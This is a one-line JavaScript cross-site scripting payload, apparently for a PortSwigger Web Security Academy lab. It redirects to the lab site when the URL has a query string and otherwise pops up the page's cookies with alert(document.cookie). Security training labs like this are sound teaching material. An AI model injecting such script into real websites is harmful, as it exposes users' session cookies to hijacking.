if(document.location.href.indexOf("?") >= 2){ window.location.href = "https://ac331ff91ec6227280e2106c003000fd.web-security-academy.net/"; }else{ alert(document.cookie); }